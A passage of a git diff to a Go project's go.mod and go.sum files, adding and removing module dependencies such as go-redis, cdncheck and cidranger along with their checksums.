( github.com/mattn/go-runewidth v0.0.13 // indirect github.com/olekukonko/tablewriter v0.0.5 github.com/panjf2000/ants/v2 v2.4.7 + github.com/projectdiscovery/cdncheck v0.0.3 github.com/spf13/cobra v1.3.0 github.com/stacktitan/smb v0.0.0-20190531122847-da9a425dceb8 github.com/tomatome/grdp v0.0.0-20211016064301-f2f15c171086 golang.org/x/crypto v0.0.0-20211215153901-e495a2d5b3d3 golang.org/x/net v0.0.0-20211216030914-fe4d6282115f - golang.org/x/sys v0.0.0-20211216021012-1d35b9e2eb4e // indirect golang.org/x/term v0.0.0-20210927222741-03fcf44c2211 // indirect golang.org/x/text v0.3.7 gopkg.in/mgo.v2 v2.0.0-20190816093944-a6b53ec6cb22 diff --git a/go.sum b/go.sum index d012237..5f514bb 100644 --- a/go.sum +++ b/go.sum @@ -74,8 +74,10 @@ github.com/bgentry/speakeasy v0.1.0/go.mod h1:+zsyZBPWlz7T6j88CTgSN5bM796AkVf0kB github.com/bketelsen/crypt v0.0.3-0.20200106085610-5cbc8cc4026c/go.mod h1:MKsuJmJgSg28kpZDP6UIiPt0e0Oz0kqKNGyRaWEPv84= github.com/census-instrumentation/opencensus-proto v0.2.1/go.mod h1:f6KPmirojxKA12rnyqOA5BBL4O983OfeGPqjHWSTneU= github.com/census-instrumentation/opencensus-proto v0.3.0/go.mod h1:f6KPmirojxKA12rnyqOA5BBL4O983OfeGPqjHWSTneU= +github.com/cespare/xxhash v1.1.0 h1:a6HrQnmkObjyL+Gs60czilIUGqrzKutQD6XZog3p+ko= github.com/cespare/xxhash v1.1.0/go.mod h1:XrSqR1VqqWfGrhpAt58auRo0WTKS1nRRg3ghfAqPWnc= github.com/cespare/xxhash/v2 v2.1.1/go.mod h1:VGX0DQ3Q6kWi7AoAeZDth3/j3BFtOZR5XLFGgcrjCOs= +github.com/cespare/xxhash/v2 v2.1.2 h1:YRXhKfTDauu4ajMg1TPgFO5jnlC2HCbmLXMcTG5cbYE= github.com/cespare/xxhash/v2 v2.1.2/go.mod h1:VGX0DQ3Q6kWi7AoAeZDth3/j3BFtOZR5XLFGgcrjCOs= github.com/cheggaaa/pb/v3 v3.0.8 h1:bC8oemdChbke2FHIIGy9mn4DPJ2caZYQnfbRqwmdCoA= github.com/cheggaaa/pb/v3 v3.0.8/go.mod h1:UICbiLec/XO6Hw6k+BHEtHeQFzzBH4i2/qk/ow1EJTA= @@ -103,12 +105,15 @@ github.com/coreos/go-systemd/v22 v22.3.2/go.mod h1:Y58oyj3AT4RCenI/lSvhwexgC+NSV github.com/coreos/pkg v0.0.0-20180928190104-399ea9e2e55f/go.mod h1:E3G3o1h8I7cfcXa63jLwjI0eiQQMgzzUDFVpN/nH/eA= github.com/cpuguy83/go-md2man/v2 v2.0.0/go.mod h1:maD7wRr/U5Z6m/iR4s+kqSMx2CaBsrgA7czyZG/E6dU= github.com/cpuguy83/go-md2man/v2 v2.0.1/go.mod h1:tgQtvFlXSQOSOSIRvRPT7W67SCa46tRHOmNcaadrF8o= +github.com/creack/pty v1.1.9/go.mod h1:oKZEueFk5CKHvIhNR5MUki03XCEU+Q6VDXinZuGJ33E= github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c= github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= github.com/denisenkom/go-mssqldb v0.11.0 h1:9rHa233rhdOyrz2GcP9NM+gi2psgJZ4GWDpL/7ND8HI= github.com/denisenkom/go-mssqldb v0.11.0/go.mod h1:xbL0rPBG9cCiLr28tMa8zpbdarY27NDyej4t/EjAShU= github.com/dgrijalva/jwt-go v3.2.0+incompatible/go.mod h1:E3ru+11k8xSBh+hMPgOLZmtrrCbhqsmaPHjLKYnJCaQ= +github.com/dgryski/go-rendezvous v0.0.0-20200823014737-9f7001d12a5f h1:lO4WD4F/rVNCu3HqELle0jiPLLBs70cWOduZpkS1E78= +github.com/dgryski/go-rendezvous v0.0.0-20200823014737-9f7001d12a5f/go.mod h1:cuUVRXasLTGF7a8hSLbxyZXjz+1KgoB3wDUb6vlszIc= github.com/dgryski/go-sip13 v0.0.0-20181026042036-e10d5fee7954/go.mod h1:vAd38F8PWV+bWy6jNmig1y/TA+kYO4g3RSRF0IAv0no= github.com/envoyproxy/go-control-plane v0.9.0/go.mod h1:YTl/9mNaCwkRvm6d1a2C3ymFceY/DCBVvsKhRF0iEA4= github.com/envoyproxy/go-control-plane v0.9.1-0.20191026205805-5f8ba28d4473/go.mod h1:YTl/9mNaCwkRvm6d1a2C3ymFceY/DCBVvsKhRF0iEA4= @@ -128,6 +133,7 @@ github.com/fatih/color v1.13.0 h1:8LOYc1KYPPmyKMuN8QV2DNRWNbLo6LZ0iLs8+mlH53w= github.com/fatih/color v1.13.0/go.mod h1:kLAiJbzzSOZDVNGyDpeOxJ47H46qBXwg5ILebYFFOfk= github.com/fsnotify/fsnotify v1.4.7/go.mod h1:jwhsz4b93w/PPRr/qN1Yymfu8t87LnFCMoQvtojpjFo= github.com/fsnotify/fsnotify v1.4.9/go.mod h1:znqG4EE+3YCdAaPaxE2ZRY/06pZUdp0tY4IgpuI1SZQ= +github.com/fsnotify/fsnotify v1.5.1 h1:mZcQUHVQUQWoPXXtuf9yuEXKudkV2sx1E06UadKWpgI= github.com/fsnotify/fsnotify v1.5.1/go.mod h1:T3375wBYaZdLLcVNkcVbzGHY7f1l/uK5T5Ai1i3InKU= github.com/ghodss/yaml v1.0.0/go.mod h1:4dBDuWmgqj2HViK6kFavaiC9ZROes6MMH2rRYeMEF04= github.com/go-gl/gl v0.0.0-20181026044259-55b76b7df9d2/go.mod h1:482civXOzJJCPzJ4ZOX/pwvXBWSnzD4OKMdH4ClKGbk= @@ -140,16 +146,13 @@ github.com/go-kit/kit v0.8.0/go.mod h1:xBxKIO96dXMWWy0MnWVtmwkA9/13aqxPnvrjFYMA2 github.com/go-kit/kit v0.9.0/go.mod h1:xBxKIO96dXMWWy0MnWVtmwkA9/13aqxPnvrjFYMA2as= github.com/go-logfmt/logfmt v0.3.0/go.mod h1:Qt1PoO58o5twSAckw1HlFXLmHsOX5/0LbT9GBnD5lWE= github.com/go-logfmt/logfmt v0.4.0/go.mod h1:3RMwSq7FuexP4Kalkev3ejPJsZTpXXBr9+V4qmtdjCk= -github.com/go-logfmt/logfmt v0.5.0 h1:TrB8swr/68K7m9CcGut2g3UOihhbcbiMAYiuTXdEih4= -github.com/go-logfmt/logfmt v0.5.0/go.mod h1:wCYkCAKZfumFQihp8CzCvQ3paCTfi41vtzG1KdI/P7A= +github.com/go-redis/redis/v8 v8.11.5 h1:AcZZR7igkdvfVmQTPnu9WE37LRrO/YrBH5zWyjDC0oI= +github.com/go-redis/redis/v8 v8.11.5/go.mod h1:gREzHqY1hg6oD9ngVRbLStwAWKhA0FEgq8Jd4h5lpwo= github.com/go-sql-driver/mysql v1.6.0 h1:BCTh4TKNUYmOmMUcQ3IipzF5prigylS7XXjEkfCHuOE= github.com/go-sql-driver/mysql v1.6.0/go.mod h1:DCzpHaOWr8IXmIStZouvnhqoel9Qv2LBy8hT2VhHyBg= github.com/go-stack/stack v1.8.0/go.mod h1:v0f6uXyyMGvRgIKkXu+yp6POWl0qKG85gN/melR3HDY= +github.com/go-task/slim-sprig v0.0.0-20210107165309-348f09dbbbc0/go.mod h1:fyg7847qk6SyHyPtNmDHnmrv/HOrqktSC+C9fM+CJOE= github.com/godbus/dbus/v5 v5.0.4/go.mod h1:xhWf0FNVPg57R7Z0UbKHbJfkEywrmjJnf7w5xrFpKfA= -github.com/godror/godror v0.30.1 h1:sstmD3Zeh/qqbdAWJV7OLaSUsM6f3lMk+X4mQU3xqmI= -github.com/godror/godror v0.30.1/go.mod h1:aWbwHSee9mdUziQGnwuu3jfvVF+g08/r3hMbsAAba7I= -github.com/godror/knownpb v0.1.0 h1:dJPK8s/I3PQzGGaGcUStL2zIaaICNzKKAK8BzP1uLio= -github.com/godror/knownpb v0.1.0/go.mod h1:4nRFbQo1dDuwKnblRXDxrfCFYeT4hjg3GjMqef58eRE= github.com/gofrs/uuid v4.0.0+incompatible/go.mod h1:b2aQJv3Z4Fp6yNu3cdSllBxTCLRxnplIgP/c0N/04lM= github.com/gofrs/uuid v4.2.0+incompatible h1:yyYWMnhkhrKwwr8gAOcOCYxOOscHgDS9yZgBrnJfGa0= github.com/gofrs/uuid v4.2.0+incompatible/go.mod h1:b2aQJv3Z4Fp6yNu3cdSllBxTCLRxnplIgP/c0N/04lM= @@ -225,6 +228,7 @@ github.com/google/pprof v0.0.0-20201023163331-3e6fc7fc9c4c/go.mod h1:kpwsk12EmLe github.com/google/pprof v0.0.0-20201203190320-1bf35d6f28c2/go.mod h1:kpwsk12EmLew5upagYY7GY0pfYCcupk39gWOCRROcvE= github.com/google/pprof v0.0.0-20210122040257-d980be63207e/go.mod h1:kpwsk12EmLew5upagYY7GY0pfYCcupk39gWOCRROcvE= github.com/google/pprof v0.0.0-20210226084205-cbba55b83ad5/go.mod h1:kpwsk12EmLew5upagYY7GY0pfYCcupk39gWOCRROcvE= +github.com/google/pprof v0.0.0-20210407192527-94a9f03dee38/go.mod h1:kpwsk12EmLew5upagYY7GY0pfYCcupk39gWOCRROcvE= github.com/google/pprof v0.0.0-20210601050228-01bbb1931b22/go.mod h1:kpwsk12EmLew5upagYY7GY0pfYCcupk39gWOCRROcvE= github.com/google/pprof v0.0.0-20210609004039-a478d1d731e9/go.mod h1:kpwsk12EmLew5upagYY7GY0pfYCcupk39gWOCRROcvE= github.com/google/pprof v0.0.0-20210720184732-4bb14d4b1be1/go.mod h1:kpwsk12EmLew5upagYY7GY0pfYCcupk39gWOCRROcvE= @@ -287,6 +291,7 @@ github.com/hashicorp/memberlist v0.3.0/go.mod h1:MS2lj3INKhZjWNqd3N0m3J+Jxf3DAOn github.com/hashicorp/serf v0.8.2/go.mod h1:6hOLApaqBFA1NXqRQAsxw9QxuDEvNxSQRwA/JwenrHc= github.com/hashicorp/serf v0.9.5/go.mod h1:UWDWwZeL5cuWDJdl0C6wrvrUwEqtQ4ZKBKKENpqIUyk= github.com/hashicorp/serf v0.9.6/go.mod h1:TXZNMjZQijwlDvp+r0b63xZ45H7JmCmgg4gpTwn9UV4= +github.com/hpcloud/tail v1.0.0/go.mod h1:ab1qPbhIpdTxEkNHXyeSf5vhxWSCs/tWer42PpOxQnU= github.com/huin/asn1ber v0.0.0-20120622192748-af09f62e6358 h1:hVXNJ57IHkOA8FBq80UG263MEBwNUMfS9c82J2QE5UQ= github.com/huin/asn1ber v0.0.0-20120622192748-af09f62e6358/go.mod h1:qBE210J2T9uLXRB3GNc73SvZACDEFAmDCOlDkV47zbY= github.com/iancoleman/strcase v0.2.0/go.mod h1:iwCmte+B7n89clKwxIoIXy/HfoL7AsD47ZCWhYzw7ho= @@ -314,6 +319,7 @@ github.com/jonboulle/clockwork v0.1.0/go.mod h1:Ii8DK3G1RaLaWxj9trq07+26W01tbo22 github.com/json-iterator/go v1.1.6/go.mod h1:+SdeFBvtyEkXs7REEP0seUULqWtbJapLOCVDaaPEHmU= github.com/json-iterator/go v1.1.9/go.mod h1:KdQUCv79m/52Kvf8AW2vK1V8akMuk1QjK/uOdHXbAo4= github.com/json-iterator/go v1.1.11/go.mod h1:KdQUCv79m/52Kvf8AW2vK1V8akMuk1QjK/uOdHXbAo4= +github.com/json-iterator/go v1.1.12 h1:PV8peI4a0ysnczrg+LtxykD8LfKY9ML6u2jnxaEnrnM= github.com/json-iterator/go v1.1.12/go.mod h1:e30LSqwooZae/UwlEbR2852Gd8hjQvJoHmT4TnhNGBo= github.com/jstemmer/go-junit-report v0.0.0-20190106144839-af01ea7f8024/go.mod h1:6v2b51hI/fHJwM22ozAgKL4VKDeJcHhJFhtBdhmNjmU= github.com/jstemmer/go-junit-report v0.9.1/go.mod h1:Brl9GWCQeLvo8nXZwPNNblvFj/XSXhF0NWZEnDohbsk= @@ -326,11 +332,13 @@ github.com/konsorten/go-windows-terminal-sequences v1.0.1/go.mod h1:T0+1ngSBFLxv github.com/kr/fs v0.1.0/go.mod h1:FFnZGqtBN9Gxj7eW1uZ42v5BccTP0vu6NEaFoC2HwRg= github.com/kr/logfmt v0.0.0-20140226030751-b84e30acd515/go.mod h1:+0opPa2QZZtGFBFZlji/RkVcI2GknAs/DXo4wKdlNEc= github.com/kr/pretty v0.1.0/go.mod h1:dAy3ld7l9f0ibDNOQOHHMYYIIbhfbHSm3C4ZsoJORNo= -github.com/kr/pretty v0.2.0 h1:s5hAObm+yFO5uHYt5dYjxi2rXrsnmRpJx4OYvIWUaQs= github.com/kr/pretty v0.2.0/go.mod h1:ipq/a2n7PKx3OHsz4KJII5eveXtPO4qwEXGdVfWzfnI= +github.com/kr/pretty v0.2.1 h1:Fmg33tUaq4/8ym9TJN1x7sLJnHVwhP33CNkpYV/7rwI= +github.com/kr/pretty v0.2.1/go.mod h1:ipq/a2n7PKx3OHsz4KJII5eveXtPO4qwEXGdVfWzfnI= github.com/kr/pty v1.1.1/go.mod h1:pFQYn66WHrOpPYNljwOMqo10TkYh1fy3cYio2l3bCsQ= -github.com/kr/text v0.1.0 h1:45sCR5RtlFHMR4UwH9sdQ5TC8v0qDQCHnXt+kaKSTVE= github.com/kr/text v0.1.0/go.mod h1:4Jbv+DJW3UT/LiOwJeYQe1efqtUx/iVham/4vfdArNI= +github.com/kr/text v0.2.0 h1:5Nx0Ya0ZqY2ygV366QzturHI13Jq95ApcVaJBhpS+AY= +github.com/kr/text v0.2.0/go.mod h1:eLer722TekiGuMkidMxC/pM04lWEeraHUUmBw8l2grE= github.com/lib/pq v1.10.4 h1:SO9z7FRPzA03QhHKJrH5BXA6HU1rS4V2nIVrrNC1iYk= github.com/lib/pq v1.10.4/go.mod h1:AlVN5x4E4T544tWzH6hKfbfQvm3HdbOxrmggDNAPY9o= github.com/lunixbochs/struc v0.0.0-20200707160740-784aaebc1d40 h1:EnfXoSqDfSNJv0VBNqY/88RNnhSGYkrHaO0mmFGbVsc= @@ -375,24 +383,36 @@ github.com/mitchellh/mapstructure v0.0.0-20160808181253-ca63d7c062ee/go.mod h1:F github.com/mitchellh/mapstructure v1.1.2/go.mod h1:FVVH3fgwuzCH5S8UJGiWEs2h04kUh9fWfEaFds41c1Y= github.com/mitchellh/mapstructure v1.4.3/go.mod h1:bFUtVrKA4DC2yAKiSyO/QUcy7e+RRV2QTWOzhPopBRo= github.com/modern-go/concurrent v0.0.0-20180228061459-e0a39a4cb421/go.mod h1:6dJC0mAP4ikYIbvyc7fijjWJddQyLn8Ig3JB5CqoB9Q= +github.com/modern-go/concurrent v0.0.0-20180306012644-bacd9c7ef1dd h1:TRLaZ9cD/w8PVh93nsPXa1VrQ6jlwL5oN8l14QlcNfg= github.com/modern-go/concurrent v0.0.0-20180306012644-bacd9c7ef1dd/go.mod h1:6dJC0mAP4ikYIbvyc7fijjWJddQyLn8Ig3JB5CqoB9Q= github.com/modern-go/reflect2 v0.0.0-20180701023420-4b7aa43c6742/go.mod h1:bx2lNnkwVCuqBIxFjflWJWanXIb3RllmbCylyMrvgv0= github.com/modern-go/reflect2 v1.0.1/go.mod h1:bx2lNnkwVCuqBIxFjflWJWanXIb3RllmbCylyMrvgv0= +github.com/modern-go/reflect2 v1.0.2 h1:xBagoLtFs94CBntxluKeaWgTMpvLxC4ur3nMaC9Gz0M= github.com/modern-go/reflect2 v1.0.2/go.mod h1:yWuevngMOJpCy52FWWMvUC8ws7m/LJsjYzDa0/r8luk= github.com/mwitkow/go-conntrack v0.0.0-20161129095857-cc309e4a2223/go.mod h1:qRWi+5nqEBWmkhHvq77mSJWrCKwh8bxhgT7d/eI7P4U= github.com/neelance/astrewrite v0.0.0-20160511093645-99348263ae86/go.mod h1:kHJEU3ofeGjhHklVoIGuVj85JJwZ6kWPaJwCIxgnFmo= github.com/neelance/sourcemap v0.0.0-20200213170602-2833bce08e4c/go.mod h1:Qr6/a/Q4r9LP1IltGz7tA7iOK1WonHEYhu1HRBA7ZiM= -github.com/oklog/ulid v1.3.1 h1:EGfNDEx6MqHz8B3uNV6QAib1UR2Lm97sHi3ocA6ESJ4= +github.com/nxadm/tail v1.4.4/go.mod h1:kenIhsEOeOJmVchQTgglprH7qJGnHDVpk1VPCcaMI8A= +github.com/nxadm/tail v1.4.8 h1:nPr65rt6Y5JFSKQO7qToXr7pePgD6Gwiw05lkbyAQTE= +github.com/nxadm/tail v1.4.8/go.mod h1:+ncqLTQzXmGhMZNUePPaPqPvBxHAIsmXswZKocGu+AU= github.com/oklog/ulid v1.3.1/go.mod h1:CirwcVhetQ6Lv90oh/F+FBtV6XMibvdAFo93nm5qn4U= -github.com/oklog/ulid/v2 v2.0.2 h1:r4fFzBm+bv0wNKNh5eXTwU7i85y5x+uwkxCUTNVQqLc= -github.com/oklog/ulid/v2 v2.0.2/go.mod h1:mtBL0Qe/0HAx6/a4Z30qxVIAL1eQDweXq5lxOEiwQ68= github.com/olekukonko/tablewriter v0.0.5 h1:P2Ga83D34wi1o9J6Wh1mRuqd4mF/x/lgBS7N7AbDhec= github.com/olekukonko/tablewriter v0.0.5/go.mod h1:hPp6KlRPjbx+hW8ykQs1w3UBbZlj6HuIJcUGPhkA7kY= +github.com/onsi/ginkgo v1.6.0/go.mod h1:lLunBs/Ym6LB5Z9jYTR76FiuTmxDTDusOGeTQH+WWjE= +github.com/onsi/ginkgo v1.12.1/go.mod h1:zj2OWP4+oCPe1qIXoGWkgMRwljMUYCdkwsT2108oapk= +github.com/onsi/ginkgo v1.16.4/go.mod h1:dX+/inL/fNMqNlz0e9LfyB9TswhZpCVdJM/Z6Vvnwo0= +github.com/onsi/ginkgo v1.16.5 h1:8xi0RTUf59SOSfEtZMvwTvXYMzG4gV23XVHOZiXNtnE= +github.com/onsi/ginkgo v1.16.5/go.mod h1:+E8gABHa3K6zRBolWtd+ROzc/U5bkGt0FwiG042wbpU= +github.com/onsi/ginkgo/v2 v2.0.0/go.mod h1:vw5CSIxN1JObi/U8gcbwft7ZxR2dgaR70JSE3/PpL4c= +github.com/onsi/gomega v1.7.1/go.mod h1:XdKZgCCFLUoM/7CFJVPcG8C1xQ1AJ0vpAezJrB7JYyY= +github.com/onsi/gomega v1.10.1/go.mod h1:iN09h71vgCQne3DLsj+A5owkum+a2tYe+TOCB1ybHNo= +github.com/onsi/gomega v1.17.0/go.mod h1:HnhC7FXeEQY45zxNK3PPoIUhzk/80Xly9PcubAlGdZY= +github.com/onsi/gomega v1.18.1 h1:M1GfJqGRrBrrGGsbxzV5dqM2U2ApXefZCQpkukxYRLE= +github.com/onsi/gomega v1.18.1/go.mod h1:0q+aL8jAiMXy9hbwj2mr5GziHiwhAIQpFmmtT5hitRs= github.com/panjf2000/ants/v2 v2.4.7 h1:MZnw2JRyTJxFwtaMtUJcwE618wKD04POWk2gwwP4E2M= github.com/panjf2000/ants/v2 v2.4.7/go.mod h1:f6F0NZVFsGCp5A7QW/Zj/m92atWwOkY0OIhFxRNFr4A= github.com/pascaldekloe/goe v0.0.0-20180627143212-57f6aae5913c/go.mod h1:lzWF7FIEvWOWxwDKqyGYQf6ZUaNfKdP144TG7ZOy1lc= github.com/pascaldekloe/goe v0.1.0/go.mod h1:lzWF7FIEvWOWxwDKqyGYQf6ZUaNfKdP144TG7ZOy1lc= -github.com/pborman/getopt v0.0.0-20170112200414-7148bc3a4c30/go.mod h1:85jBQOZwpVEaDAr341tbn15RS4fCAsIst0qp7i8ex1o= github.com/pelletier/go-toml v1.2.0/go.mod h1:5z9KED0ma1S8pY6P1sdut58dfprrGBbd/94hg7ilaic= github.com/pelletier/go-toml v1.9.4/go.mod h1:u1nR/EPcESfeI/szUZKdtJ0xRNbUoANCkoOuaOx1Y+c= github.com/pkg/errors v0.8.0/go.mod h1:bwawxfHBFNV+L2hUp1rHADufV3IMtnDRdf1r5NINEl0= @@ -402,6 +422,8 @@ github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZb github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4= github.com/posener/complete v1.1.1/go.mod h1:em0nMJCgc9GFtwrmVmEMR/ZL6WyhyjMBndrE9hABlRI= github.com/posener/complete v1.2.3/go.mod h1:WZIdtGGp+qx0sLrYKtIRAruyNpv6hFCicSgv7Sy7s/s= +github.com/projectdiscovery/cdncheck v0.0.3 h1:li2/rUJmhVXSqRFyhJMqi6pdBX6ZxMnwzBfE0Kifj/g= +github.com/projectdiscovery/cdncheck v0.0.3/go.mod h1:EevMeCG1ogBoUJYaa0Mv9R1VUboDm/DiynId7DboKy0= github.com/prometheus/client_golang v0.9.1/go.mod h1:7SWBe2y4D6OKWSNQJUaRYU/AaXPKyh/dDVn+NZz0KFw= github.com/prometheus/client_golang v0.9.3/go.mod h1:/TN21ttK/J9q6uSwhBd54HahCDft0ttaMvbicHlPoso= github.com/prometheus/client_golang v1.0.0/go.mod h1:db9x61etRT2tGnBNRi70OPL5FsnadC4Ky3P0J6CfImo= @@ -474,6 +496,8 @@ github.com/tmc/grpc-websocket-proxy v0.0.0-20190109142713-0ad062ec5ee5/go.mod h1 github.com/tv42/httpunix v0.0.0-20150427012821-b75d8614f926/go.mod h1:9ESjWnEqriFuLhtthL60Sar/7RFoluCcXsuvEwTV5KM= github.com/veandco/go-sdl2 v0.4.0/go.mod h1:FB+kTpX9YTE+urhYiClnRzpOXbiWgaU3+5F2AB78DPg= github.com/xiang90/probing v0.0.0-20190116061207-43a291ad63a2/go.mod h1:UETIi67q53MR2AWcXfiuqkDkRtnGDLqkBTpCHuJHxtU= +github.com/yl2chen/cidranger v1.0.2 h1:lbOWZVCG1tCRX4u24kuM1Tb4nHqWkDxwLdoS+SevawU= +github.com/yl2chen/cidranger v1.0.2/go.mod h1:9U1yz7WPYDwf0vpNWFaeRh0bjwz5RVgRy/9UEQfHl0g= github.com/yuin/goldmark v1.1.25/go.mod h1:3hX8gzYuyVAZsxl0MRgGTJEmQBFcNTphYh9decYSb74= github.com/yuin/goldmark v1.1.27/go.mod h1:3hX8gzYuyVAZsxl0MRgGTJEmQBFcNTphYh9decYSb74= github.com/yuin/goldmark v1.1.32/go.mod h1:3hX8gzYuyVAZsxl0MRgGTJEmQBFcNTphYh9decYSb74= @@ -555,6 +579,7 @@ golang.org/x/mod v0.4.2/go.mod h1:s0Qsj1ACt9ePp/hMypM3fl4fZqREWJwdYDEqhRiZZUA= golang.org/x/mod v0.5.0/go.mod h1:5OXOZSfqPIIbmVBIIKWRFfZjPR0E5r58TLhUjH0a2Ro= golang.org/x/net v0.0.0-20180724234803-3673e40ba225/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4= golang.org/x/net v0.0.0-20180826012351-8a410e7b638d/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4= +golang.org/x/net v0.0.0-20180906233101-161cd47e91fd/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4= golang.org/x/net v0.0.0-20181023162649-9b4f9f5ad519/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4= golang.org/x/net v0.0.0-20181114220301-adae6a3d119a/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4= golang.org/x/net v0.0.0-20181201002055-351d144fa1fc/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4= @@ -581,6 +606,7 @@ golang.org/x/net v0.0.0-20200324143707-d3edc9973b7e/go.mod h1:qpuaurCH72eLCgpAm/ golang.org/x/net v0.0.0-20200501053045-e0ff5e5a1de5/go.mod h1:qpuaurCH72eLCgpAm/N6yyVIVM9cpaDIP3A8BGJEC5A= golang.org/x/net v0.0.0-20200506145744-7e3656a0809f/go.mod h1:qpuaurCH72eLCgpAm/N6yyVIVM9cpaDIP3A8BGJEC5A= golang.org/x/net v0.0.0-20200513185701-a91f0712d120/go.mod h1:qpuaurCH72eLCgpAm/N6yyVIVM9cpaDIP3A8BGJEC5A= +golang.org/x/net v0.0.0-20200520004742-59133d7f0dd7/go.mod h1:qpuaurCH72eLCgpAm/N6yyVIVM9cpaDIP3A8BGJEC5A= golang.org/x/net v0.0.0-20200520182314-0ba52f642ac2/go.mod h1:qpuaurCH72eLCgpAm/N6yyVIVM9cpaDIP3A8BGJEC5A= golang.org/x/net v0.0.0-20200625001655-4c5254603344/go.mod h1:/O7V0waA8r7cgGh81Ro3o1hOxt32SMVPicZroKQ2sZA= golang.org/x/net v0.0.0-20200707034311-ab3426394381/go.mod h1:/O7V0waA8r7cgGh81Ro3o1hOxt32SMVPicZroKQ2sZA= @@ -594,6 +620,7 @@ golang.org/x/net v0.0.0-20210226172049-e18ecbb05110/go.mod h1:m0MpNAwzfU5UDzcl9v golang.org/x/net v0.0.0-20210316092652-d523dce5a7f4/go.mod h1:RBQZq4jEuRlivfhVLdyRGr576XBO4/greRjx4P4O3yc= golang.org/x/net v0.0.0-20210405180319-a5a99cb37ef4/go.mod h1:p54w0d4576C0XHj96bSt6lcn1PtDYWL6XObtHCRCNQM= golang.org/x/net v0.0.0-20210410081132-afb366fc7cd1/go.mod h1:9tjilg8BloeKEkVJvy7fQ90B1CfIiPueXVOjqfkSzI8= +golang.org/x/net v0.0.0-20210428140749-89ef3d95e781/go.mod h1:OJAsFXCWl8Ukc7SiCT/9KSuxbyM7479/AVlXFRxuMCk= golang.org/x/net v0.0.0-20210503060351-7fd8e65b6420/go.mod h1:9nx3DQGgdP8bBQD5qxJ1jj9UTztislL4KSBs9R2vV5Y= golang.org/x/net v0.0.0-20210813160813-60bc85c4be6d/go.mod h1:9nx3DQGgdP8bBQD5qxJ1jj9UTztislL4KSBs9R2vV5Y= golang.org/x/net v0.0.0-20211112202133-69e39bad7dc2/go.mod h1:9nx3DQGgdP8bBQD5qxJ1jj9UTztislL4KSBs9R2vV5Y= @@ -626,11 +653,11 @@ golang.org/x/sync v0.0.0-20200317015054-43a5402ce75a/go.mod h1:RxMgew5VJxzue5/jJ golang.org/x/sync v0.0.0-20200625203802-6e8e738ad208/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= golang.org/x/sync v0.0.0-20201020160332-67f06af15bc9/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= golang.org/x/sync v0.0.0-20201207232520-09787c993a3a/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= -golang.org/x/sync v0.0.0-20210220032951-036812b2e83c h1:5KslGYwFpkhGh+Q16bwMP3cOontH8FOep7tGV86Y7SQ= golang.org/x/sync v0.0.0-20210220032951-036812b2e83c/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= golang.org/x/sys v0.0.0-20180823144017-11551d06cbcc/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= golang.org/x/sys v0.0.0-20180830151530-49385e6e1522/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= golang.org/x/sys v0.0.0-20180905080454-ebe1bf3edb33/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= +golang.org/x/sys v0.0.0-20180909124046-d0be0721c37e/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= golang.org/x/sys v0.0.0-20181026203630-95b1ffbd15a5/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= golang.org/x/sys v0.0.0-20181107165924-66b7b1311ac8/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= golang.org/x/sys v0.0.0-20181116152217-5ac8a444bdc5/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= @@ -645,12 +672,14 @@ golang.org/x/sys v0.0.0-20190507160741-ecd444e8653b/go.mod h1:h1NjWce9XRLGQEsW7w golang.org/x/sys v0.0.0-20190606165138-5da285871e9c/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20190624142023-c5567b49c5d0/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20190726091711-fc99dfbffb4e/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20190904154756-749cb33beabd/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20190922100055-0a153f010e69/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20190924154521-2837fb4f24fe/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20191001151750-bb3f8db39f24/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20191005200804-aed5e4c7ecf9/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys 